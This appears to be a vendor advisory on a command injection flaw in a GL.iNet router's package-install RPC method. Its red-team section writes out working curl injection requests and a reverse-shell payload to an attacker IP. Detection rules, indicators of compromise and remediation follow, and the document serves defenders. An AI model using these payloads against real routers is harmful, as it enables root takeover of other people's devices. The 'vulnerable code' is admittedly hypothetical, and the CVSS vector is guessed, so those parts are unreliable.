CVE-2025-67089

Executive Summary

CVE-2025-67089 is a critical command injection vulnerability discovered in the GL.iNet GL-AXT1800 router firmware version 4.6.8. The flaw resides in the plugins.install_package RPC method, which fails to properly sanitize user input in package names. An authenticated attacker can exploit this to execute arbitrary commands with root privileges, leading to full device compromise. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is critical.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a router product.

CVSS Breakdown & Threat Level

The CVSS vector string is not provided in the NVD data, but based on the description, a likely vector is: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated to the router's web interface.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full access to sensitive data.
• Integrity (I): High (H) – Full control over device operations.
• Availability (A): High (H) – Potential for denial of service.

Threat Level: Critical. An authenticated attacker can gain root shell access, install malware, pivot to internal networks, or exfiltrate data.

Deep Dive & Mechanics

The vulnerability exists in the plugins.install_package RPC method, which is part of the router's web management interface. This method is used to install packages (likely via opkg or similar) on the device. The input parameter for the package name is not sanitized, allowing an attacker to inject shell metacharacters such as ;, |, &&, or backticks.

Root Cause: The application passes user-supplied package names directly to a shell command without proper escaping or validation. For example, a request like:

{
  "method": "plugins.install_package",
  "params": ["malicious; id"]
}

Would execute id after the intended command.

Attack Flow:

1. Attacker authenticates to the router's web interface (e.g., via default credentials or brute force).
2. Attacker sends a crafted RPC request to the plugins.install_package method with a malicious package name.
3. The router executes the injected command with root privileges.
4. Attacker gains a reverse shell or executes arbitrary commands.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the firmware's RPC handler. A typical vulnerable pattern in Python (common for such routers) might look like:

Vulnerable Code (Python-like):

def install_package(package_name):
    os.system("opkg install " + package_name)

Patched Code (Hypothetical):

import subprocess
def install_package(package_name):
    # Validate package name against a whitelist
    if not re.match(r'^[a-zA-Z0-9_-]+$', package_name):
        raise ValueError("Invalid package name")
    subprocess.run(["opkg", "install", package_name], check=True)

The patched version uses subprocess.run with a list of arguments to avoid shell injection and validates the input.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: GL.iNet GL-AXT1800 router with firmware v4.6.8.
• Attacker: Kali Linux machine on the same network.
• Tools: curl, netcat, Burp Suite.

Exploitation Steps:

1. Authenticate to the router (e.g., via web interface at http://192.168.8.1).
2. Capture a valid session cookie (e.g., sid=abc123).
3. Send a crafted RPC request to exploit the vulnerability:

   curl -X POST http://192.168.8.1/rpc \
     -H "Cookie: sid=abc123" \
     -H "Content-Type: application/json" \
     -d '{"method":"plugins.install_package","params":["test; id > /tmp/out"]}'
   

4. Verify command execution by reading the output file:

   curl -X POST http://192.168.8.1/rpc \
     -H "Cookie: sid=abc123" \
     -H "Content-Type: application/json" \
     -d '{"method":"plugins.install_package","params":["test; cat /tmp/out"]}'
   

Reverse Shell Payload:

curl -X POST http://192.168.8.1/rpc \
  -H "Cookie: sid=abc123" \
  -H "Content-Type: application/json" \
  -d '{"method":"plugins.install_package","params":["test; bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"]}'

Blue Team

Detection Steps:

• Monitor RPC requests for unusual package names containing shell metacharacters (;, |, &, `).
• Alert on multiple failed authentication attempts followed by RPC calls.
• Check for unexpected processes spawned by the web server (e.g., sh, bash).

Hunting Queries:

• Search logs for plugins.install_package with parameters containing ; or |.
• Look for outbound connections from the router to unusual IPs on high ports (e.g., 4444).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from the router to attacker-controlled IPs on ports 4444, 8080, etc.
  • Unusual DNS queries to domains associated with C2 servers.
• File IOCs:
  • Unexpected files in /tmp/ (e.g., /tmp/out, /tmp/revshell).
  • Modified system binaries or scripts.
• Process IOCs:
  • Processes like sh, bash, nc spawned by the web server (e.g., lighttpd or uhttpd).
• Log IOCs:
  • Log entries showing plugins.install_package with suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2025_67089_Command_Injection {
    meta:
        description = "Detects command injection attempts in GL.iNet router logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67089"
    strings:
        $rpc_method = "plugins.install_package"
        $shell_meta = /[;|&`$()]/
    condition:
        $rpc_method and #shell_meta > 0
}

Sigma Rule

title: GL.iNet Router Command Injection via plugins.install_package
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts in GL.iNet router logs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: glinet
detection:
    selection:
        method: "plugins.install_package"
        params|contains:
            - ";"
            - "|"
            - "&"
            - "`"
    condition: selection
falsepositives:
    - Legitimate package names with special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-67089 GL.iNet Router Command Injection Attempt";
    flow:to_server,established;
    content:"plugins.install_package"; http_client_body;
    pcre:"/[;|&`$()]/R";
    sid:1000001;
    rev:1;
    reference:cve,2025-67089;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management access to the router if not required.
2. Change default credentials and enforce strong passwords.
3. Restrict access to the web interface to trusted IPs only.
4. Monitor logs for suspicious RPC calls.

Long-term Fix:

• Apply a firmware patch from GL.iNet when available.
• Implement input validation and use parameterized commands (e.g., subprocess.run with list arguments).
• Conduct a security audit of all RPC methods.

Workaround:

• If patching is not possible, consider using a firewall to block access to the RPC endpoint from untrusted networks.

Valters IT